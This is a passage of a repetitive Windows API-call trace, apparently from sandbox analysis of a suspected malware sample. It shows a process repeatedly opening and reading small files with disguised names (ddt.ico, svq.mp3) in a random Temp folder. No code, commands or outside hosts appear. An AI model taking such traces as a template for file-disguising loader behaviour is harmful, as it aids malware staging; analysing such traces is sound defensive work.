"c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.694] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.694] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.694] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.694] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.694] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.694] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.694] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.694] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.694] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.695] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.695] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.695] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.695] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.695] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.695] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.695] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.695] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.695] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.695] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.695] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.695] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.695] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.696] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.696] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.696] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.696] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.696] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.696] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.696] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.696] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.696] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.696] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.697] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.697] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.697] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.697] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.697] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.697] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.697] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.697] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.697] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.697] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.698] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.698] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.698] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.698] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.698] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.698] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.698] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.698] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.698] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.698] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.698] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.698] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.698] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.699] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.699] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.699] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.699] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.699] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.699] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.699] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.699] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.699] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.699] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.699] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.699] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.699] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.700] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.700] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.700] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.700] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.700] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.700] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.700] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.701] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.701] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.701] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.701] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.701] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.701] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.701] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.701] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.701] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.701] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.702] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.702] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.702] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.702] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.702] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.702] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.702] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.702] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.702] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.702] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.702] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.702] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.703] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.703] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.703] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.703] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.703] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.703] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.703] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.703] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.703] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.703] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.703] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.703] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.704] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.704] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.704] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.704] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.704] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.704] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.704] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.704] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.704] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", 